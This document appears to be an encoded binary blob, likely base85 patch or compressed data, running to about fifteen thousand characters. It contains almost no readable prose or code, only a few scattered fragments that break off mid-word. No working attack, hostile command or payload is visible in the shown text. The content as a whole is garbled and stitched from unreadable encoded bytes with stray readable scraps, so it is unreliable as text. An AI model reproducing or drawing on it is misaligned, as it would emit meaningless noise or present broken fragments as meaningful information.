zxcO$o%!N;g(zRV*tg6VH`<8|f&r$x&inGIwZ^-jmVHGQ_0Hx=x7q$Bhxvw)zhb=$v z2|*m$95Yx+n%`Si?)u3PZEvb%cchZkIiMT8{&G_`!4x~0DN#vk@ORB%?3#eq7i>Fn zrGm8K&o!OskJ5L4Ff?IS1*sD*-_+tJ_JkNXD=e2)PU_w;auGUjfc7u;?njGqa@BRD$6k}{ zpTnPS?3s)9-}SfUonlf%@yz2ON0c7RxGS=vh@4j#-d6lY;0e*RQGV0USES(s6Y;Ph zHKdRHh*f<>X6#hxj@q~srT=(C->R3SLV*Lz?IJ2K%dBP5p%>)nVr%DZa;W}emx$a= zDkQBpe00nTUXIE)?YiQd=cG}BaH-iYv_FJ@?nD0PWPg>7D{DS#ALhf$c6tS*T<&3+ z=^ylvefRL)ZTaNWX%RvO!Yfe!7!FK0|BU>6)qVWAC#ZkKs!xAd@RZy{UIEGUd%ntCqD=E zH|F5?Q@vTFnfUwLuf|jLyVK(SmP~SSb=3XuYN&l#u?x>tW{}pmzGe^guSDCQyTw@f zkbG%8m9PAk4zj;5UtEw*W~|yI`OLHj^`~nQGfmRSNv+QFEvBITVQwh#%1$LO9=SUH z{vlKzR{c=o{1kGARdTnI4(e~LGoMep-6gX(?_bSONBxu7QJu5r7O7J0SGQe`YR|yj zUp_ZU-L=UdPa5bWyY)0J|LbJ2YyLTN6V%^Wa}z8Ay4T0*RR+gTD?S8dPiLdP>Puv}r*anhrGoUOhE%8&4I zeJ0{fs&p6IWNoAB_kUXG`vc}MeILO5jrj}nC*}{#@0i~(hcLfl4q|@6{EYbt^CRX5 z%mGX^UmaCCWT!i8?y_u6SD&o%{#|kzYP=3H^-Z!yt)a@_Ul_h<-qQcN^| z99O@_MDxdSbrB|-KaQ(kV!psE#C(offQjaf>1jlfYz)VLK)hlfYz;#db_4CV|NwgYB41OahZFitU(8OahZFg6)`0OahZF zjP00AOahZFgzcD2OahZFi0zn6OahZFfbEz}Oahb5kL{RDOahb5hwYe5OahZV8rw0M zm;@$!6t-hBF$qjI9-m-gGXIQM(A!ac<9}aRe(IJ=U~R8GC?cX{gzQZ-_4Gmhvu;z! zY7wN_b}=~s1`Ecn%YK3UA;K=+AYl<4OIEWdrXzm}4Z^J0y$q@}u4XGZApecfp740KY@X^S@c-O+{MAbIz60Uj^jc&qG~Qk0pu2e?(nCE@2JJvjD&x&|WecR6zQ^ov zfK|F-GE3~x^E4v%O6c2d;G}yo!~VAp(gT&pmOFuNP9QmY4e~#U$hcEE+hO6L-sI4& z$R9=z94~9{fQ{Klbay(fLOSJF#bMJJ zw|y%*u@U+6MCpOm-(0~sb*kSwL#liy-dx(f2l9-i_P)E1{5_(weaOund=*Ez9u%YU z_q?Y*V=qX!&ibQ|XsBs)~8SEY*SNzQus3)i2`0*%mRTVF9W zkY+?zd9vV*U{R>g7^;7W>!y~mzCErc^S`i9O4kD6nIpx4JF#fDkH6*QyF{| zOkdXT?#-j@4kk4nN8#DWJB#GqsroQUZ!kRuYPWTLWOt+Ir^IOKuGnKx^k|*+rO8zP z8R;(+oqc(CKe;TUU}J0?@}G#yi%VATC!JJIxqP2O`5R5A%fEP$r3bE7p82^1=@942 zC@<14JQN{ZC_>&uRMl2XeJ{bHr4 z?H#>~)ji2um-b&$7NY!97uCXI4>Dj>lJUtSls^=?J$J7M>3sO>bAzKZkghSvoZvx* zT$n2m@3jc&8PUm^`$(_-T2q@B%|hBU^!ny~WXJMTPxl9`LONSAa@0ODzA(CajQeDy zyHrmm>?KW!qtoX6p!Vl;k*~#Ga!+T)yG~(h{Yt)FeeNWG;$om_``NcGmze^adNf_8k9yodL@U5v-{T42_H{3~X zJX3qe*PQYPOPwdPc96RnpDLJ!RC_FmFMaMz9x^!cHoSK_(!#?>#yOL&&Xqcsg5lkv6Od>2M@JZQYa|61W0s%Vd2mM{?rR zw8Y7CsrF*tuJzhRMm6w%)$OMG!%)G&Ck|xm1FO7sPmn)N*o~ed;6OHMMeO@@Xd=?K zn=_W%lf`paa@`NmqxnmtA52^n@y!Bzbnp~yp(Pc` zyr}ZTUUMMVkew6#T)XB|^~q-1tXxfk-{QO+N2)#T3{GUNA`R1D>(_ju+Jm*-wq`kb z%{QdR#DHqwSaJD53({SG+VoT3sQzy^yK4MmvSR)h(WmRE^z90d=$MhSGX=(nDp7W3 z?etX($;`}!ALmV@?5w9gwG7frNX_a`}Yl@59T@~Rmn z3()-;!IJEeRwIuZu6b7zLG2H*Kz4!*`CH?Z?&b;^N{?Ka`1i=zi|F4aW18XLCo`qV zT8K3hYh#*BBbw|5SkK4WkS5E3CNURleXRAc)}hJNrpeaAS`+J;G+7!n33aU1uvVqX zR-wsM###w$MXaaNWXaPcU59loO=b;Eb`{odu&$uVDyK=5 zVO@gtYntpLn#@;NzreZ>>jIjre44~Ftn;wWrO75~GIOxb#`-Z$B8w*L5!M-4KfpSj zCi^~3W-8XnSl^>b+@;C7jrA?86KOJU(qt!KeI4s-SjW*MVrjCjVtobcOEj6$G})0@ zU&Q)6O;!X=;vCjzu@1vJp6++-Yc!ddtT-GWi~A)eGltfztJr=8+cBA!ar`A5kI9Ut zH7g3+Be5Nmc@f($;CM{tc^n@>lYI``F`41meiqxqupN_i2FIVq@tDj|TC+m1{S>xi zGEZWAFpkG$p1|?PX|j)DJ0|lewg+MR5p2g~1>*Ps9FNIl(VFFt?T4`)lX(co`{8&@ z=0RGse6jriwqr7Vu-zNm_tRuzvb=D-CrtvA=|OAOK5XBM?U+n=9KQ$0V=~=n&2q(d z7i`C5?#A|AI3AO^6UXnM$#%weOy+iMcfxi@Y{z76!|@I{9+PQLYnC0hZ^d>@<`!(< zjN>txn{fO_n(PhOj>%k)?Y7vy4%;zVHaOlI$73?BXw6!S?Q5_dlerqlTjF?3<|$@)z1JkJc9U^uVQE04H z|IlS!2X%i$=`!P8b*GXXgsA%&>US!ujia7#u~@T)T=G zYsk3rSM$8rHLEClkvQ?)*d$wV<)dh>Jw$@_!#Ho(Wz{3UxcNy-v40vj@w1Ax;;H*r z>epO<8w=REoZFYqtv}(3>|tZ2)0{3B59;{@Aw4#hfZIiexg|1!l>R-IISNinC{{_j za`#_VoEQzEkE}fdSF2EV+i~pCV7b%e^uaCM{39h;e6VO@>+;khZu{<&Cq$v{ zi$_33&q8W@4F$F+gil^I9?|5qck5jR42xPn&p6i|I05_`5I=j z$HDe5`gy6_xcm2GB2xnPuH!3nJ4oGM6OA%q62NgbRlK^BdVWF-P8yJaNs_j;%fh+o zOHa0xgvAR|#kzYm3E3S zl_?syiL2d}wWYz&!eE2)Ah*4qs)R|ymdq&~_GU||^yF0sq+uY>c$S(Dx4b55%n2|) zVE)yaE4lsm=8V`0z|!%(o5kd=KVE~F2&W=bKm5MWJzkE^w3`Ut=dAT1codc1&spq= zV8%%sC-s}#zZYmp$bd?jLvA1;McH#^yUT#H`izZ!w&;C3bo}X*%D^3CXPa+B@|3RD z)t&_7S2dUv4{^8G&}U5o2g|ek3x|$S`Bu;kM_ng|<9c{4e(21H6f&Ya1SeO)mmt z41^+j2}Qkt@ygirW-vVvP+5V48!og^L=B;u4xyP&fPf)%gw}MD5HR4-LNUDrh%vqT zzh|{8B!TkedEV!`zW4k7EZ5D<&YU@O=FFKhv!nHFmm1m~o%s8EZBr{TnM*GI+Is@s zUnA$+=Tu^3$(i&0F7ft%qGM!brpWc$`+lm#%b(IItunLfy{e{R6YswUN0BN_y&sAU z8uFUA?@?X*Rbkpn1Fvn{$B(}$-7~5%Elx+qHJL{3!FIB~M9SRjv%J9DGqnA-%?)%? z=BFdmTQ8r@=W`7QNSU0q>Q}M9@cnzb(E=%R@uYNNp=-Q7-IX1aG8?z7DV;unm+!PZ zN6MsD+q3&xAbUG$&c?8U7>1B`irW=s#nK%--vC6URRBI zT4iYFuq|}I&vvHqfNG2>Jn-U@4BmdTnxs}^Qv7aJy3v{D<4ac=)fmO(vzLa9r2fDb z5t>tt$#>jP=Z%IhKZcQ3XP(wxJpbA{zP_o3R@E7mvg~-SIK8)>2pd|RN$D`Mp8s@e z|F$yW>#8$#9f{hWiFCir)+ge8b*57OsSVpU<;Qnob5esT@WYay6K&K!Y#A+NH5g@6 z`J-{Yc>i3wRlgd{fDuy)9cs$=SO3y*hk**LCYri+R%dz=LmF^YT{iF$wvVGD;Q>~6YWN7|p^%5uB7C5x^F z)}i->vu2d#4p;PxTD714-boH-^)1WU3x^)6aF(YZ@mr&^+@5vCUY)SCr}?V0c|lzN z16u;mm8bhn7{Y`%dTMgSg$~#G{%`^z=U8 z1ty3qeW&jf*#8{Karldo(JHF1%8GQY5*;N9$)u|KfeBNA2^NU^kvozP>ez#F0`c|U%>#lL7xj!m3 z8+oX27`+d_KBF|(w(6yIQ+x9AT)N)3G*_mi`rPBvEopx8jYg%pYvHe_e^Z06@BEFD zrMa9})gR^k(2C~A-n?3ho7dn$k?b+N{{3!kF2!x>w(!r(alC$J-x^(t>(o{9<@02| zz8beXmf}hU?ksR{d@j|;*4tG|aR(g_uSOr|%Ny?eDdF0#*F751L_zr%#Y!{vIRYYNgzMy=6;7TAsUCQo`jQ z)#7bZW1fCu7FUw{xkTZI0c+dP{Hee7Ey+#4(ysWgt$F>Xp3N)4HQi?zCo9X_U+TGK zCAc*;CN_N6@(q=D>UpLFH*%t~^UpK*{mqFNt`_I2j%cVVbMh6p5L z@%fd1XNq$zt9=z)Boyy2;0J?CSBr5I>s{TyX;w#i|Mt@8Vw|kFbVcK3{Qcd_Rf=)T z7X6@T`z=qOd4(&=b?SHM^!Wf@{%u$L7UhE0O0$agilF7^W#<*)N`9ZM@tecjZ@p_= z5pM6q&ADsRThROh*ZUUX3UyKbyy9tFdY^qguP`^eeZwthSMdG0?`9t~k<=n1Ph&y+B z;!7pqQ54>+X&&$hBK?ba062e%C#& z0O$8(vjQ1|dHECX_btHPF)x31dkbG*y+85-xOwVYh05*c$6xjz%L2GTr%J!NdWtVU z>j4wMHLftT^QP6jKQTPK>d#%8zN|*c0J@(|9y}cF&y{F9>vFzRwdsBDNBCOXn9TKG z&o%Mw&-drm{9IaYjpjcL=Iv+ApQH10t?v!d&Fsw6x5%lIpKJND?^j#v*QMpJ=WzMB zO`m`DpxH%U|05pv&Bqn(H!$Gl7~Z~1=jQowHESoXE!K>ecTMgxKd!L7%beX6`1Tig z($|kGRr<*5d@cF@p7$h=a5t(~j^>V6r~IW)ml3YXY3lTA^J)%n zuf6Ycd5#^en(eC`q^9)!{>Xdp=y&ChJq_i&f9w5#dGF}7Zfl_u94}v&hoj#)E{AlB z$bQ4?BjOSF*3tgt)`5+?^5gp^zUt*D6STB`?H}_|e#ibC{l>9tz}$1ccIEA7T@Lr! z(RJa9BgYo-<752eyjPCo)Nk?|?(+5b$YowR$~~DoH|->EpEaJ0e(9K){jK@z6Q2Kr zC)^9iu&bwvH(J2!cjME%=Z>QVlZ&3~!uRihXUucQz4Bp|f2qssC;J)q%rX2{y7}a~ z4pg2w&-0!-zMlB%RD*Bm?=2+c1@qL=a$vUct)2wEVhP%wxy%eUs`*iqPK&i0bv|9LKtw_oftnU7y}3 zJRAL|W7H)_*Pc>dU*(>Ue&onHcsWaE=Hi@-ygdwfop;;O_THnOvJBq8N#BgVyDb`w=Pi}<=c1c?dWTc6RU%pZ&=FDZ)vad zt~$>3Tivw8Rerumdy{v`@ynZ1&6|!WLiyR==3Q{4Tn%hL$ySiw8{Xxebu8SZzqvAl zxBr}Xd1oAcCtmN>@7M73@AEPp1A{|~+#bsJ2YH|Oiz9bj_@FMGd4FVkpLf);_vQ5o z*DSm~@P~%`9cxOrJfG2@Z=WGAZ>OX0fXw1G19*9Cd3kFc#Y#+%irUWm7l`oTD!c1P zQ`YE1%%kp>d20?13pH<>Qmd9b}&{I__>zcn%Zy(~$BNSEkyX=iuZp?6#Cu*OR7&TzP)E?!bf` zrdG(7>sMz^wL8zn$zk%wZ*A+CXbc(mI5#JU>HPKK+QE$tA)lRjzuEdGhxvM6heHn+4YYUS&(V3z z=odxkC5PwPkIQ2+_SJjL99XMmu=eawNnVSPzf8Fkj=^(Ytb) zl@)YnFBJ*1JJ0pWWwOG4@6s|~YDl+6q2F(Qkjsp#{#)~sKMxYl`FX$h5gj?JxLqfu1nepBc|;Zl>68tqVNZ;NTPHVBJ32 zmw8L=&U1pEFngEglq!62a!5tnM*rropD<5eb$eAkbH2SEe{RrIX6P(g#powr+UKu} zyzor^lvyyW?~Thx$Jm|c2t8#^+Wzz(zNl45cT(wL*jG=P!ILeg+Rj-loGbK{$uXtw zSh+tb|Ju&^VP&jAkDRaHqgU$29M}`!?{BGgaOHUc)(68*jKUfg5 zmOppsDRZNH&(no}oMUfhJ-Omy*=Nk7+54g=44z>h%b!E^jM*5nrIKT~&0ca=pPyHC zdd7Tr>*1e^2TZd&&m}_s>`H$1_bv>1cXWPM>1ofHJC(ls;@aG?!Z}6AZ`mTConl_d z&K5l<*ZS!hvtnZOn9tgV28tLvEOj3x9% z#3o(85a&6H&zY{4t%0h`i|pLRqA8^_o-@UY=JoIPZKAyqf9}z9X8oiP9P2sIK7LN8 zS0nSDGtWy*tXVQ-l0BI}2k8Z~aQLK&E#t=6lgF%X^&RtqY4RHzb75Vo{U`ohq!-MY zSb6uJHB#+NpDP`sZ7-PmW%Cu;WnB>R4S!D33#QRR|3^cD#@lhOh2O*dFPPujmp#?4 z^fKYxq!-MnVL^NH^+^aRT_LnfZU2`{z4@`Gi6ds&1Nn25UNYwtL0OgBEwTS_w0esQ zEnhNkehphW{_G_CL;hT)m&~5$S&LpCS!Q2ooqXZwy=ISw!_F?T z-{Q|nUNhIiru`n*Xo^$F#ZyOT1xf z+_bfOc4d+M4S(*_8>Zm7@v<*%CVS(ax27fbe8b#`-Lv=VpvCr<{5eo>n8q8sjOy4U z#ongCa#{N7H%!C2T}qsJyVUMH7wQc&erbc@nN7!r6s~;kivziDn8d{cnV;V+wL8y= zddpmH75ObI851%*Gq3Lk!&|1vk#X7D=8J@LquyeCwaRNhX;#SgI|b&%&Unj2^tQFK zZyY3?BlVW~z4g6QzvNE|d3~@?*P>V7GKovZMm0G<%|3!ZSLz+Jc=)hzt$ndQ_uJxy zzG?K188TtXps!mku{+P1ddC#desM0}!?7U?#{E?GhV315_v*tb`zz11JI|eZ$0)YP zMw9A`L;7v=ds6kxJLW*SoT1$>&I;+vpF{PI`J!#Pj=!#+X|KEdS(z5K-ZS&c3?EZ_ z$9%i{U?B{B~%?i25pHuaonO$dbaP`GY?T`CU zZ_w)GduHknrM5kpz1Z$Nx9UBUzGKzIr$?8B%-=Im`+3bgCVYBvZuRon!Z}uX%;e?g z8(cfHFr z=YD=TU(b1h!iV!1Jl6-9$DP+`F_ib8d}s9et_+vvf3DELjm(e^d*U~29mh;RJT`A1 zcY<+#2a^ALIPrUx^!Ex*JZDPaKUxU$oS}HGV773dE#!;mAiosp1ae=&Kj$I;a~?8( zp7KBEA%FTjZSV7V8H^;U+j-pooQLc@51kRtbLOBQ_w!u6&x5AyPIDa~|?P z=OKr{4sd1va~`ti_Xz0t_-JI{G@ zC&(TdRHA8YEaN=)dH+XzZlrwPTywEIQ*qDo&-N_e@KL^#*N6QcciuFp8bW3e%ufi*Lq_KETMn2q-o4hJ}%ut)Yc)uVijqyjT3HpP4D} zbEPVq)@^21H27lbUd?W1^@~Xz0!H=_#z_uyq0j7f*DsHA$sx+Ua%t^e1y$=^>95%a z;Zc5TUHAD~RQUGK{7aaZtLvY=Fyv?KTlD>rT``||-9r)H>EwB)@P!%MZ%mrO+^;yq zugjJL%=AXxo^+oviK)J}PDV-XQ6}frPHDTRHs;=d@T%*t?qJO2zOA!k+b||)Z-e0J zzwBUo$h&4gOZkZ@bC>CP=2=6Rype~m!1l}ip$-q5Hrvky<->q^hmtS|iZ%nsN6 zyV~0>Me4UOd((%X|5EuIv-)n46Jvkez|@kL85XwZGLu#3^S+NeuV!K^(-yK08ilcbAQY*%{k2MS~ad*#T|1P!^CmSt`Y~COXl9{ zLSLO>nl3z1seM8${rv$~4rAUh_VZcOce>5}tJH_V&0dy_3G%`kH<}x$gUn zDA80IaF}Vh=;5LZ*dQHo=uY3r-2Ke0n)~NnczB&Tzc*j6LA@P}w7zEI&O#TNhw6y7 z&Ccv*W*S8vQ^I-g7n%NL zrtWAoCBda%ZFsQ-<)0sR$sx+?cPsz#l8--}Jj?Hb-$uYbY8>xPndmX)xB>XK4Q`& zB?@kR_JmoLdhV&D820(5cSx(y!^{Q3f{*)Otsp=Hffz_ z1V3ZsWc_7r)m&yoR?7zm-PqZd~$H9MC{eYLaRF5@lc@yNx}!|TNFl;ki+>`9%;dPhk?^Q|fm}$o1{fjLxYv_@%yM5_wVz?Y}wMO5?W*vwwxZ!|YF7F3Qv(c z_#Q8c-QOj3^+Ty|Yi2&#Q-r&>>}K_;y*6+St3@>kD*imQ)10zZwi zd8=HV;aBNwS(m(y$364k)cbLD`l9(VMwffMQ*hL8 zj*YvuPan0laobnSJUaVcM(EZ`-_1N=OJGWT@s)B#tM!f^<7yQNU)7bnIrPHSDm&(c z_830+T!C`osONsYyL*4)jQ6V#iLTE7zRruBH*d(*X1AT^th&p4qF~RpAsHv@o@jlT>oGfsQ-00={=~~0^Qg)8wF!9W_@?>z9)a~1A#;I{w7o`*I-_=rK>mn=J@mF zu$l|1PvI_9o?Iua%(2kJ)5@ne{%$@Kb^U6iGb2_z;+59!>qi*5gAs-Mo$W9;^yT{O zRV|K~n8jOX3|x65*-_ZP-KEa2lpK2_Z_xukb7;iUiMy%=Xc-!arDRXuBo=U&$+r!9in{ASKAAWT=Bvs?|1u4C5Bc!0a8cC9SJ-m&fNXRlnjFp*xyp4OqCVKJ54BxH5;*xT(L5{Iz5xeZR|jy*ajG zLU!MeqvIk%K73|m5P9OFgD%daM!+t{r`(=FCZ>V6uj1T)|1p9T_gD?9P{DVtg zAO0a!@DGd+{}3wp2gZkg2o?MT&rg~{?{e15C0n~_+Q3{{|y!VFXO}i zh6?_d@!@|N!T-AC_2qws`OPJ-kNGWBnBN#5^INDezcD`Mw@_hzV|>hSj4;2sjy?yKe*)ewSExRXD)ettj`!>ea84$ zpM?tRGsegIEL2#ZF+SF3jIci2C;BsA>oZ~fn<3KqSpSOo89vs(8N&KE!^iqJLs!t=49-yFu*^Rcl1;F8zJ{sSlMKX5+wA2?zEf%CEd zzzO>goR9qnPS}5N>DSl(gRsBjlGn%n4kzsIa6a~TIAMQ>^Rd6f3Hv*okNq7^*xzyK z*Vq1zuz%)~*T?=DC+webKK9QzVgHQtv46%1`)8bw{WDJ3KXd8V*Z!HXKk1U!$NnTI z>`!t&_9r=Ef0FaDKgkLElbnzJNlw_Gbjj;$e^UJ3o)|j)+EC%UOZeU05W#4t;O2UAyX2TQqH>DyYp~v957*{)2q?8gEwe`NBL!pJU$gKgEmwQV4C%@WXfe zocC#>J&YFUgh1S%$YGSi=ZnSAla7$Qg5D|oz0EWAU-8Qk`cM4+l=yo;zJ2Az-}#<_ z*ZT-=-;WW$nu=L-D&=Vkmw$OAN*DW{IKr-7GN_zndk7|9n3y zlcDqHKi|(1erNqRzMs`fT$20;Va};wNx!+llKd#!IVvJ*PVdwMS!;?lo2I#{(`DA( zN!KvpjeA?z!M&3P#Y88wy)E&{acpvfgv98;DFWW71t4%;nFalDf}|gj&T_7x zTp2>-J(g@Vnk9td{bzFt|8l5!f7~noy^v4K9z$HD^X7A9o+lso{1pp{WCuWb_$q&F z*&!a!Q%MU5ynSaPj{z|ny^S#UGS9|7< z@G2i+@XYrvzrCGj{xPreQ5`(T`TsfAnNMxDD&pd}_SR#IF`j(f z^UHtZC#es(+r4)`rcLt9_qL<&7I@~n^G{vqCz%7d^S68H$-Kxj-@E?6C7${2{QLgk zC;1w1=bz!mKUrH^vJP<1cdx&fs9H)B99t1g z(iVXHnm@@{8$cvyuqkrMpGYE05nH{&q@TPnUXu1FIr{@h+J!uv0!Zcse`4DM z`iq5#Egdwa3lqcjVkET?>Z80k36UN}8PFNhB}9U{3_Aiz_6^7gImy8QVpxni0wg47 z5coPE%kTaqVU2{O)c_CBW!5T;2`mtwpeT(~CA8wEH&V z^CTo)6-ZKd1BDCYR3d*O%`YLTf1d z&my2h8xv56tqEv&QU>j2KN`)>{(e8ebSweN$yc9{LebgVcu!W49upa^$ zwu47J`o1CT3w$%76T|P2@qHm81ARhBAjt$x`k&AT@)OWL0{u&%0|WG*gSxY!H!1XK zgFZ4*rw#4R@rOKUTgGbW1M*~Mp)abTKG={HG^yW1Z|MJ=Q|LG7C>=U5v?xUg>?fPr z5XwfP{(hjzo{zSmPck;5%_~qR>?#uDA$0=oH=`_cV4DNJRR4QW{%O05niHGuX&KOhO12rLA0fc$HMNm-yS z5CU`rOh5`S30MSd0?q;Vfp>spZ7``0Xn?*zBCrV91ndX=)&-L?Ky9Eg&>k29Oa`_A zM}dpLLx6lAOag%rpd(-cQh-UoB487+AGi;^10?HFH=qGp1Bt){U;(fn$O7&FuYnpH zf{7Mr1M~qV0tUjZY5RA42r2KIIexC>}uTN{Cczy)AG?4~trV*-!`+z0xh z|Ca!@(63oQZ}iy)pg8&^0XPlZ18SlV76E?%LC`k?L<6&deL!*OxDSv7+ymM{m-~S~ zfI86AJ759YuS6UB02_gWfFA8J15<&OKmghh2J8TS1#SSZfnwW(NhLrHv<7+s3BY(@ z0f1w8NB}873c~LcAw@|sQk;|`rAZ(uLxMBAPtt0YamQ|c6EoldPZX)R{0oM)#~u_}|6RjbuT zttA!{=g;8u8j{eZ86=tJFt~AOm z7Br1E*vcAJ3YlJMv?^GumZii|t>rSM!pdsZI)z?t)?1uOYBS3k6-u*J$?CPvB#qjr zvsz@V-lS2eXxrq_hg_$%n)FtsOeK@?NftfYpfIsYg^IOmXp&s1Mc1)L4fJiX@C8*$ zi-I+)L+R2eteQiW;UC2Du}IBYm78WD^sY=8kw5a%8V)_ z&kKCbI*Za`Y&%t+g$Q0QeAm66rR6*8+*%_k`}Dy>OrQYy__lSXT%R7zH< zR%`TX8N_FmTB>h_8e*uCWHH0SG%DV}6gt?T(PTEt zgbE95)SHcRquHW!w!y?&Rcb3sdseHk%4xl3ompctYZWRztJiC(ohVofD}%~4I;~0% zL*?07wMwJbtY%rgQ3WL%WHeQYzA>AOW~EE+~Q~X=OUA85W?@Sv5)( zU(lpfX%tqCLamgs7PEy?ne?zat5$C^sf=o!h6;k=YgJgyI)w@i!64x~NQGuYr*I%L zwO*;A14m`CKseTaa4{yT zH54++G-f@zz^Ksj9j%eUz%@#ZS*3zQR8uM>=~Q~X1tZ7at0QWa^GCY?nFx1m#8%@!@~J&npD)9bBf6^5DGWaTFTI8coVwy)J; z3UBGVcz zCLLTNtFlrmtxRrK$S^BdG!`pNj`odKp@yf`$xT+BO39i{eBWqc8t}X-_$5{)x6l!% zRYAojvrMIsTQSE_TZR9CGgF%7W}Q;0)6<~>YNb`BPzn|6^eVkZ55v?M)vTVjLu*u`sF^j()pC_qY2}56iO8TUnMnp; zDOWkiq1L3gV9;6RDved9w^G-kWm)(Qxy7i~YZP(?wOO59jlrYC1Z%?3v{EC}$<1nb z43i2@LaCF{T6GGAQ3mHC(^^>#CTdzMT4~hD^)M(*&RXY8PE%D{g;~a`;OtO8&ku$z zSD>48(4dSTh&oJLT9Zm^wNj66=I3mk1`bON6&P6~{EXQ-BkDAmk2QJ|T4w|szLVh5 zSXQQmIBLxJGJXw#nssOcOjf2=pr1^<*Vh>_?DQ&~R%@|h1j+@TR<%a1R2$VQ(6Ji6 zTXa^VN`-Nz(9j9fsxMcSoR<%iHvB>o@ z9e87I2cgxdML$~Mhn1{VPP-Z%hnXJJH5NxYR!1u~VivNfO*)-MZo=|`j%_$Z6hhA_ zbr!e`UKXR$g83hVM2RuULKfcdVt}aWl#kUHYtd=>Dzs*;(P~xe;d5cB)InjIf*Xau zvno-ZA0|dLo>eIodYw$Jwd(mUhRfF|v3yWKY^&Bx7h))j^`RP-EA$q%4$}`!GO5*= zs?;jzo_Y(KWHGTa3+7h^rfda2N{kqSEOci@4%S6@k$*I9yY?7%pm@kyn@-S<{ zt65Z-Ej93(bm}ov$Dw3RR+CAtRH`U@vqGyiS+Isdhgq#Ex=_Nx+-lTg9y7^Q&?es~ zGuDARyi9X@6>U28OA5sPJv$w;L|gJI?-%;Mmo*3y=n zRWdj=EflA~`bSL-2a63nA($;#%gR}cj5ffGg{jJ)9GH8ZQlG=T|6kCDdm zOLfeyIt?Aen6$9)p#`Brt6HhYLRu-;>ov5Q78M3R%2=^_#%hde&7v|Hl}3vOGn*cd zG5qqvf`JyU&9R!WP-mu= zVO<0_Olz^=3B`n=rG_ujs`(_V9BUQ$NfUU&_fP|7Au7u%uprdH@9B95PLt(IIoya6 zO2h(-RT@-u+_7|#PFLP$r3|Ya+89=WwHuaZtVK(Or|S&3G)!Jb_(CiqoR1Ps7z>fG8ItIK<16j<_w;GRa2G}xfpIIwYq95gQxOBO~ zIdfxe4_nq7wQwdTJ^#Rj#|4$us?)$8vGBqYEUL9tE{DIs8ds%&zqC@5#H!S&$3qpI zun7|YZ)}(((E_s$j+R=kk(bblQKrZ9jRrlBDS;ZjRgH&Z=-DiT<7Sn-H6RVE4Kh#wolIP* ziNg|-NIvnyr_o>Stc~4R1I*HsRB1<((O z0Y(7Rfu+DkU>A@H+z0&kU|$)i1*m`)Kxg19zy{0#Rsq|9BS1Eg3%my^>i}s&I_yBkf6tH727SI6AfNp>l7z#`Rz5~_(+koT1UEnQHY+o>` z2IzoxKyP3GkPJ)(RsppRplt}R01tqC&{1iiGSCn(0MGXalbgUJ$dwHo0k#55fdVLB z7Wf%*?m>AC^xFdH23Ub)U?T7xumd;-TnBOi|BPT#0;mAg0yID?pbKCEh5~bdt-wX# z5s(jZlmIFM^#B#n0_X-7hbu9flgayln55)Hb8G@? zd+Q$ssZcI5KAOG*gl{wkbV(f6oW{cwqw$K6F(!&NCr8J}ks<|XxfnJMZ|zO|-@*#v0?yY!4tzO*L%L>SQB7@gcAJ~1jf zu73>M(exD>LdHQ-=x-n|Hks?!A|@qifLlxU=5Oc9-S{aE==j(9JEkNjq$EeMrj-6s z$%)_(E%&E=&_3Rh62rDK##v~WkzAVACE7fY7Z6`qb*r6P&JMdZ=TYW z4+;rOaw%k?AKDUYOl}WaV}EoyxfakJeZ-ppX_>z@W{7BG3=F`#=Y9?79&KU62N)B( z#J5k0NsewdESV+i&{CsC=n=@;IUp*AWfRDEp7kI{!D}^wMfb-KBQh!>l`1S5O*g^D zk|4{9{Owrd;E$>%a;NR_wu%oX@^{@Jr3JQ2i27q*s4vpLGi$Usd&o>FoLZ#`!pJ$` zX8qmC8>dAZlOabPO8<%R6Gl$uceTAsyr>XTRJ3Z;JIiSew4P=un3WTg2)RM|bzx%@ z=(q)q!N0RHItjzy%qH-|f<#h^cE+US=81{%7(q+uJ?+yli-k_zI0l|?H9s_o-DO|2 z|7-eva;T9&zli80I_$e(zIAm{xG^RsiF`)+BYPk<^C%2y7}{$0zJwO`y6FcaH31fi zRPN(cw5Z%i{K7~kO>o{vX$;WF6J|nt2c`IrgWfhdp(-xXjj}zb*fj175KQf0` zACDZ!Rf2K}Pf1LKzjHRYwFMuOAmK6bNy1nnMFfttvhJjaTM1$KpvZNaD)trlZl$_5 z#_;YSi{^b8SNQcTEYaya6QYyCIz+W51>I^0BW;^^?$ErQQsMO8U*{i^gjXx$lC9mz za92Exbd74>S)|zy?P6ILW*(Fhod}Nvhcq-9x;X4ikHFk8m~G1r!;kmQ6yc>zffBzg z@#UMxnJF8*HsZW@y7E@WqyhN#iKh?-B4u?*OcBZ)5%2k-$`>N%ooVzY!kBC%VG-TJ zBC%EOY*|%UpgG>+ngHID2-f}nE=tpR#@R3M5`N8xMhm?}$Xa*1<9oh;{?{h;gc37Mx z3ZvFJZ4{>U3gbhR#Td|qO^l6>L)VB&Bq^XvOpga@GFB)WgT|bP3Koy8)#=^9fnm*BI}xU=jCq~4iD$LuSPWWBZ!0(b+82YuI`#_={9 z-mt(N1{4Ph0C+PD?_=PDLO>xQq-pe?zAsPniUMLDLAQb9t6fD95d#2dEJr@w+(x@l;B?OCk#qVN=_L(WazNrPNBn^g-0}R(Xv(RHf`Ir@6a)_Q|G8I zUAuMf(X-e8;zs>9MDuAL)MerFX&zEO`~Uj?{@*YRzkL3Mva^CEt1yxE8#`=lRiR(j zTy;j4uXcuGmSw-CF~cYuAFc!a{*@P3N}bss{XgctGsz%?+y5qgm_WY+^e0!`Tv37C zT5)&97ryzATF#f~go(G)#V;>PN#BcKT~vHbf9Cv^>{o=yM>!>*u(yn4F^~qV z0@eW=fplOSU8WB_UaI-niU z8%O|#0ybb0kP0jS(tve9I>qWETf*CO!GiB_CjL+EsjftQiB%NJ{=k1g?I20c=RuN$20;>X{zJM* zD~42dIzH&%5yjLElGtjN<7K3wpL+!!k~>S&b&WfT$WshyKE*%RKN|RVG$7iP7>Z@Z zdolEt?koS_r5E{#p;-R^WVnul9|J@gV&eOYQ9k_dtc^Wb{vW;Z`xjR}uPeWBi9%C- z*yw}Ze|T-&;wSk#aI()C?F?ViYH|H3+`GEVMpG+;s4+mFQR!3nJYXAe2FL~IWYP#| z55xdsnI_1it8Q#3;jaY<-u}nml><+JQlOIo9e`Lsyy%?J5I6n^Q_Gk8ml!QvJwQJP z^u9oO(mCcU%o$=`G?WI+F7JLnrHG6ijY3@zeN~~(0@>nq#D9v2&*HMAgqC~ z48ocS%ORxAlp;hxFPj8U;6gXph|Cq|{|^7-IT3c_4;mbeMfW?XtOg(tYeXBuF)#os z7u`pZ0)kN?=60p!Gq~=K1$>CVF64?E78i5HBM+8z#cMn*Eyiv07L*m^QoEzPGw#p* 